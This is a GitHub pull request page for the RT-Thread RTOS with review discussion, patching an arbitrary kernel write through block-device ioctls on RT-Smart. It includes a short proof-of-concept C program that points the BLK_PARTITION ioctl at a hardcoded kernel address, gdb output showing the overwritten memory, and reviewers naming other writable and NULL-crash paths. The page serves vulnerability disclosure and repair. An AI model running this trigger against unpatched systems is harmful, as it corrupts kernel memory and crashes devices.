Skip to content

[drivers][block] prevent arbitrary kernel write via BLK_PARTITION ioctl on RT-Smart - #11981

Open
liangzhan5 wants to merge 3 commits into
RT-Thread:masterfrom
liangzhan5:fix-blk-partition-arbitrary-write
Open

liangzhan5 wants to merge 3 commits into
RT-Thread:masterfrom
liangzhan5:fix-blk-partition-arbitrary-write

Conversation

@liangzhan5

@liangzhan5 liangzhan5 commented Nov 3, 2026 •

Copy link
Copy Markdown
Contributor

拉取/合并请求描述:(PR description)

[

为什么提交这份PR (why to submit this PR)

issue:#11952
RT_DEVICE_CTRL_BLK_PARTITION直接将用户态传入的裸指针作为 rt_memcpy 的目的地址,导致非特权进程可实现任意内核写。

rt_memcpy 执行完毕后未更新err,所以即使 ioctl 最终返回 -1,目标地址的内容已被更改。错误码与实际情况不符。

(RT_DEVICE_CTRL_BLK_GETGEOME等似乎也具有类似的问题)

你的解决方案是什么 (what is your solution)

在 RT_USING_LWP 条件下,通过 lwp_self() 判断当前是否为用户态上下文:

是用户态:先将分区数据拷贝到内核栈临时变量,再使用 lwp_put_to_user() 安全回拷至用户空间。若用户提供的指针非法,lwp_put_to_user 会返回 -EFAULT,且不会执行任何写入。

非用户态(内核内部调用):沿用原有的 rt_memcpy 路径,修正原代码中遗漏赋值 err = RT_EOK 的问题

请提供验证的bsp和config (provide the config and bsp)

/rt-thread/bsp/qemu-vexpress-a9

]

当前拉取/合并请求的状态 Intent for your PR

必须选择一项 Choose one (Mandatory):

  • 本拉取/合并请求是一个草稿版本 This PR is for a code-review and is intended to get feedback
  • 本拉取/合并请求是一个成熟版本 This PR is mature, and ready to be integrated into the repo

代码质量 Code Quality:

我在这个拉取/合并请求中已经考虑了 As part of this pull request, I've considered the following:

  • 已经仔细查看过代码改动的对比 Already check the difference between PR and old code
  • 代码风格正确,包括缩进空格,命名及其他风格 Style guide is adhered to, including spacing, naming and other styles
  • 没有垃圾代码,代码尽量精简,不包含#if 0代码,不包含已经被注释了的代码 All redundant code is removed and cleaned up
  • 所有变更均有原因及合理的,并且不会影响到其他软件组件代码或BSP All modifications are justified and not affect other components or BSP
  • 对难懂代码均提供对应的注释 I've commented appropriately where code is tricky
  • 代码是高质量的 Code in this PR is of high quality
  • 已经使用clang-format 源码格式化工具确保格式符合RT-Thread代码规范 This PR has been formatted with clang-format and complies with RT-Thread code specification
  • 如果是新增bsp, 已经添加ci检查到.github/ALL_BSP_COMPILE.json 详细请参考链接BSP自查

…tl on RT-Smart

Signed-off-by: Zhian Liang <liangzhan5dev@gmail.com>
@github-actions

github-actions Bot commented Nov 3, 2026

Copy link
Copy Markdown

👋 感谢您对 RT-Thread 的贡献!Thank you for your contribution to RT-Thread!

为确保代码符合 RT-Thread 的编码规范,请在你的仓库中执行以下步骤运行代码格式化工作流(如果格式化CI运行失败)。
To ensure your code complies with RT-Thread's coding style, please run the code formatting workflow by following the steps below (If the formatting of CI fails to run).


🛠 操作步骤 | Steps

  1. 前往 Actions 页面 | Go to the Actions page
    点击进入工作流 → | Click to open workflow →

  2. 点击 Run workflow | Click Run workflow

  • Use workflow from 保持默认分支(通常为 master)
    Keep the default branch (usually master) in Use workflow from
  • 在 branch 输入框填写 PR 分支 fix-blk-partition-arbitrary-write
    Enter PR branch fix-blk-partition-arbitrary-write in the branch field
  • 设置需排除的文件/目录(目录请以"/"结尾)
    Set files/directories to exclude (directories should end with "/")
  1. 等待工作流完成 | Wait for the workflow to complete
    格式化后的代码将作为独立提交推送至你的分支。
    The formatting changes will be pushed to your branch as a separate commit.

完成后,提交将自动更新至 fix-blk-partition-arbitrary-write 分支,关联的 Pull Request 也会同步更新。
Once completed, commits will be pushed to the fix-blk-partition-arbitrary-write branch automatically, and the related Pull Request will be updated.

如有问题欢迎联系我们,再次感谢您的贡献!💐
If you have any questions, feel free to reach out. Thanks again for your contribution!

@github-actions

github-actions Bot commented Nov 3, 2026 •

Copy link
Copy Markdown

📌 Code Review Assignment

🏷️ Tag: components

Reviewers: @Maihuanyi

Changed Files (Click to expand)
  • components/drivers/block/blk.c
  • components/drivers/block/blk_dev.c
  • components/drivers/block/blk_dev.h
  • components/drivers/block/blk_dfs.c
  • components/drivers/block/blk_dfs.h

📊 Current Review Status (Last Updated: 2026-11-05 22:06 CST)


📝 Review Instructions

  1. 维护者可以通过单击此处来刷新审查状态: 🔄 刷新状态
    Maintainers can refresh the review status by clicking here: 🔄 Refresh Status

  2. 确认审核通过后评论 LGTM/lgtm
    Comment LGTM/lgtm after confirming approval

  3. PR合并前需至少一位维护者确认
    PR must be confirmed by at least one maintainer before merging

ℹ️ 刷新CI状态操作需要具备仓库写入权限。
ℹ️ Refresh CI status operation requires repository Write permission.

@liangzhan5 liangzhan5 changed the title [drivers][block] prevent arbitrary kernel write via BLK_PARTITION ioc… [drivers][block] prevent arbitrary kernel write via BLK_PARTITION ioctl on RT-Smart Nov 3, 2026
@liangzhan5

liangzhan5 commented Nov 3, 2026 •

Copy link
Copy Markdown
Contributor Author

将lwp_self注释掉后在内核态测试(模拟用户态)

测试代码

#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#ifndef RT_DEVICE_CTRL_BLK_PARTITION
#define RT_DEVICE_CTRL_BLK_PARTITION 0x205
#endif

#ifndef RT_DEVICE_CTRL_BLK_GETGEOME
#define RT_DEVICE_CTRL_BLK_GETGEOME 0x201
#endif

#define KERNEL_TARGET 0xc00fa484UL

int main(void)
{   int fd;
    int retry = 50;
    int ret;
    while(retry--){
        fd = open("/dev/sd0", O_RDWR);
        rt_kprintf("trying\n");
        if (fd >= 0) break;
        rt_thread_mdelay(100);
}

    if (fd < 0){
        printf("open failed, errno=%d\n", errno);
        rt_kprintf("exp opened failed\n");
        return 1;
    }

    struct { unsigned long sc, bps, bs; } geo;
    ret = ioctl(fd, RT_DEVICE_CTRL_BLK_GETGEOME, &geo);
    rt_kprintf("getgeome done,ret = %d\n", ret);

    ret = ioctl(fd, RT_DEVICE_CTRL_BLK_PARTITION, KERNEL_TARGET);
    rt_kprintf("partition returned,ret = %d\n", ret);

    close(fd);
    rt_kprintf("exp done\n");
    return 0;
}

修复前

(gdb) watch *0xc00fa484
Hardware watchpoint 1: *0xc00fa484
(gdb) continue
Continuing.

Thread 1 hit Hardware watchpoint 1: *0xc00fa484

Old value = <unreadable>
New value = 0
rt_memcpy (dst=0xc00fa484 <__gnu_unwind_execute+136>, src=0xc0170710, count=24) at ...
(gdb) backtrace
#0  rt_memcpy (...)
#1  0xc008bd04 in blk_dev_control (dev=0xc01706b0, cmd=517, args=0xc00fa484 <__gnu_unwind_execute+136>)
#2  0xc0090c14 in rt_device_control (...)
#3  0xc00602a0 in dfs_devfs_ioctl (...)
#4  0xc007eab0 in dfs_file_ioctl (...)
#5  0xc00872c8 in fcntl (...)
#6  0xc0087410 in ioctl (...)
#7  0xc005e388 in main ()
(gdb) x/6wx 0xc00fa484
0xc00fa484 <__gnu_unwind_execute+136>:  0x00000000  0xe3a00009  0xe28dd014  0xe8bd83f0
0xc00fa494 <__gnu_unwind_execute+152>:  0xe35300c0  0x1a000041
(gdb) finish
Run till exit from #0  rt_memcpy ...
blk_dev_control (...) at ...:118
(gdb) x/6wx 0xc00fa484
0xc00fa484 <__gnu_unwind_execute+136>:  0x00000000  0x00000000  0x00000000  0x00000000
0xc00fa494 <__gnu_unwind_execute+152>:  0x00020000  0xc0170654

修复后

(gdb) watch *0xc00fa484
Hardware watchpoint 1: *0xc00fa484
(gdb) continue
Continuing.

@BernardXiong BernardXiong left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

先看了一遍,方向没问题,PARTITION 这条确实堵上了,err = RT_EOK 那个补充也是对的。不过同类入口还有不少,安全修复还不完整,建议补齐再合。

必须处理

1. 同类的"用户指针直接写"还在(5 处)

用户态 ioctl 会把 arg 原样传到 rt_device_control()(syscall_device.c#L94-L97),除了已修的 PARTITION,下面这些仍然能直接写内核地址:

分区设备 blk_dev_control():

整盘设备 blk_control():

建议抽个 blk_copy_out(args, k, n),PARTITION / GETGEOME / SSIZEGET 都走它。本 PR 至少把两处 GETGEOME 一起修掉,SSIZEGET/ALL 可以另开 issue 跟踪,但最好也顺手。

2. 补 GETGEOME 的时候有个坑:内部调用点会误伤

blk_fops_open() 是在用户进程 open() 的上下文里,用内核指针调 GETGEOME / ALL_BLK_SSIZEGET 的(blk_dfs.c#L35-L37);device_get_blk_ssize() / device_get_all_blk_ssize() 内部也是用栈上的 &geometry 去调 GETGEOME(blk_dfs.c#L264、#L277)。

如果 GETGEOME 直接套 PR 现在这个 lwp_self() != RT_NULL 分支,这几处会被当成非法用户地址拒掉:blk_fops_open 拿不到 geometry,后面读写全错;SSIZEGET 里 geometry 变成未初始化,回给用户的是垃圾。

所以改 GETGEOME 之前,先把这三处内部调用改成直接调内核侧的取 geometry / 总大小的函数(放在 block 层里,按分区还是整盘分发),不要再经过会做用户拷贝的 control 路径。

另外 helper 本身的分流要写成:用户态 + 用户地址 → 拷贝;用户态 + 内核地址 → -EFAULT(这一步才是拦住攻击的关键,不能退化成 rt_memcpy);内核态 → 直接写。别只按 lwp_in_user_space() 判断地址范围,那样用户态传内核指针还是会漏。

3. SSIZEGET / ALL 没判空

ioctl(fd, RT_DEVICE_CTRL_BLK_SSIZEGET, NULL) 会一路走到 rt_memcpy(NULL, ...)(blk_dev.c#L120-L128 / blk.c#L189-L197),用户态就能把内核打挂,顺手加个判空吧。

4. clang-format 会挂

用仓库锁定的 clang-format 22.1.8 按 CI 的方式跑了一下(--style=file --lines=110:134),新代码 123~126 行 报 InsertBraces,if/else 要补花括号,不然 CI 会再追一个格式化提交。

小建议(不阻塞)

  • kpart 这个临时变量可以省,直接 lwp_put_to_user(args, &blk->partition, sizeof(blk->partition)),源本来就是内核内存,少一次拷贝。
  • 回拷的结构体里 lock 是 &disk->usr_lock(blk_partition.c#L78),属于内核指针。整结构体拷贝、保持 ABI 不变的前提下,把 lock 先清成 NULL 再拷,别把内核地址漏给用户。
  • PR 描述有两处可以写准确点:lwp_put_to_user() 失败返回的是 0,不是 -EFAULT;另外它只做范围检查,跨页时理论上有部分写的可能(只会写进用户自己的地址空间,没有安全问题,但"不会执行任何写入"说得太绝对了)。
  • 验证方式建议换一下:现在把 lwp_self() 注释掉在内核态跑,实际只验证了"内核地址被 _lwp_user_range_is_valid() 拒掉"这条路径,成功路径(真实用户进程的 ioctl)没跑到。建议用真的 RT-Smart 用户进程跑一遍;顺带也能看到现在 GETGEOME 照样能写内核地址。
  • 顺带发现一个不相关的既有问题:blk_dev.c#L92-L106 的 SYNC / ERASE / AUTOREFRESH 分支都没给 err 赋值,永远返回 -EINVAL,可以另开 issue。

结论:PARTITION 的修法本身没问题,建议把两条 GETGEOME(至少)和 SSIZEGET 的判空一起合进来。

@github-actions

github-actions Bot commented Nov 4, 2026 •

Copy link
Copy Markdown

MemBrowse Memory Report · Explore what changed →

k230

  • SRAM: .eh_frame +80 B (+0.0%, 1,206,148 B / 268,300,288 B, total: 0% used)

nuvoton-m487

  • CODE: .text +104 B (+0.0%, 356,644 B / 524,288 B, total: 68% used)

qemu-virt64-aarch64

  • Code: .text +256 B (+0.0%, 1,009,356 B)

raspberry-pico-rp2040

  • FLASH: .text +8 B (+0.0%, 114,192 B / 2,097,152 B, total: 5% used)

No memory changes detected for:


Catch memory regressions in CI with MemBrowse. Free for open source.

…or dfs internal calls

Signed-off-by: Zhian Liang <liangzhan5dev@gmail.com>
@liangzhan5

liangzhan5 commented Nov 4, 2026 •

Copy link
Copy Markdown
Contributor Author
  • kpart 这个临时变量可以省,直接 lwp_put_to_user(args, &blk->partition, sizeof(blk->partition)),源本来就是内核内存,少一次拷贝。

改好了,用同样的测试方法通过了

我保留了kpart因为觉得lwp_put_to_user可能有竞态窗口,然后dfs.c里只改了open函数。

blk.c的blk_control也存在跟blk_dev.c同款的错误,所以我觉得可以用相同的方式把blk.c修了,尤其是同样地不再调用device_get_blk_ssize和device_get_all_blk_ssize(都不安全)。然后可以考虑把这两个函数从blk_dfs删了?似乎没人用它们了。

是否需要再提一个pr?

#blk.c
 case RT_DEVICE_CTRL_BLK_GETGEOME:
        if (args)
        {
            err = disk->ops->getgeome(disk, args);
        }
        else
        {
            err = -RT_EINVAL;
        }

        break;
...
    case RT_DEVICE_CTRL_BLK_SSIZEGET:
        device_get_blk_ssize(dev, args);
        err = RT_EOK;
        break;

    case RT_DEVICE_CTRL_ALL_BLK_SSIZEGET:
        device_get_all_blk_ssize(dev, args);
        err = RT_EOK;
        break;
...

grep -rn "device_get_all_blk_ssize" ~/rt-thread/components/drivers/
/home/lza/rt-thread/components/drivers/block/blk_dfs.h:21:void device_get_all_blk_ssize(struct rt_device *dev, void *args);
/home/lza/rt-thread/components/drivers/block/blk.c:195:        device_get_all_blk_ssize(dev, args);
/home/lza/rt-thread/components/drivers/block/blk_dfs.c:286:void device_get_all_blk_ssize(struct rt_device *dev, void *args)

grep -rn "device_get_blk_ssize" ~/rt-thread/components/drivers/
/home/lza/rt-thread/components/drivers/block/blk_dfs.h:20:void device_get_blk_ssize(struct rt_device *dev, void *args);
/home/lza/rt-thread/components/drivers/block/blk.c:190:        device_get_blk_ssize(dev, args);
/home/lza/rt-thread/components/drivers/block/blk_dfs.c:273:void device_get_blk_ssize(struct rt_device *dev, void *args)

测试结果

lza@lza-virtual-machine:~/rt-thread/bsp/qemu-vexpress-a9$ ./qemu-dbg.sh
...
[I/FileSystem] file system initialization done!
trying
getgeome done,ret = -1
partition returned,ret = -1
exp done
msh />

(gdb) target remote :1234
Remote debugging using :1234
0x60000000 in ?? ()
(gdb) watch *0xc00fa484
Hardware watchpoint 1: *0xc00fa484
(gdb) continue
Continuing.

@Rbb666 Rbb666 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

最新修改引入了整盘设备打开路径的回归,需要先修正:

  1. blk_dfs.c:37-42 无条件 to_blk(dev) 后读取 blk->disk,但 rt_hw_blk_disk_register() 也给整盘对象安装同一套 device_set_blk_fops()。打开整盘节点时对象实际为 rt_blk_disk,按 rt_blk_device 解释会取到错误指针并在 disk->ops->getgeome() 崩溃。请区分整盘与分区,提供明确的内核侧 geometry 查询接口供共同 fops 使用。
  2. 分区的 ALL_BLK_SSIZEGET 和 file->vnode->size 现在使用 disk_geometry.sector_count,返回整盘容量。请按节点类型计算:整盘用磁盘扇区数,分区用 blk->sector_count,保持计算宽度正确。
  3. 获取 geometry 失败时释放 data,但 dev->user_data 仍指向它。请在成功后再发布指针,或在失败路径清空。

此前指出的整盘 GETGEOME/SSIZEGET 用户指针路径也仍需处理。请使用真实 RT-Smart 用户进程,覆盖整盘、分区、合法缓冲区、非法指针及正常读写;仅注释掉 lwp_self() 的内核态测试无法覆盖这些路径。当前格式检查也未通过。

…isk devices

Signed-off-by: Zhian Liang <liangzhan5dev@gmail.com>
@liangzhan5
liangzhan5 force-pushed the fix-blk-partition-arbitrary-write branch from 095e3d2 to 8a7213a Compare November 5, 2026 13:56
@liangzhan5

Copy link
Copy Markdown
Contributor Author

最新修改引入了整盘设备打开路径的回归,需要先修正:

  1. blk_dfs.c:37-42 无条件 to_blk(dev) 后读取 blk->disk,但 rt_hw_blk_disk_register() 也给整盘对象安装同一套 device_set_blk_fops()。打开整盘节点时对象实际为 rt_blk_disk,按 rt_blk_device 解释会取到错误指针并在 disk->ops->getgeome() 崩溃。请区分整盘与分区,提供明确的内核侧 geometry 查询接口供共同 fops 使用。
  2. 分区的 ALL_BLK_SSIZEGET 和 file->vnode->size 现在使用 disk_geometry.sector_count,返回整盘容量。请按节点类型计算:整盘用磁盘扇区数,分区用 blk->sector_count,保持计算宽度正确。
  3. 获取 geometry 失败时释放 data,但 dev->user_data 仍指向它。请在成功后再发布指针,或在失败路径清空。

此前指出的整盘 GETGEOME/SSIZEGET 用户指针路径也仍需处理。请使用真实 RT-Smart 用户进程,覆盖整盘、分区、合法缓冲区、非法指针及正常读写;仅注释掉 lwp_self() 的内核态测试无法覆盖这些路径。当前格式检查也未通过。

用与blk_dev_control同样的方式修改了blk_control

复原了blk_dfs.c中open的逻辑,添加错误处理,把dev->user_data = data;这步操作放最后

删掉了device_get_blk_ssize和device_get_all_blk_ssize,因为不再调用

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants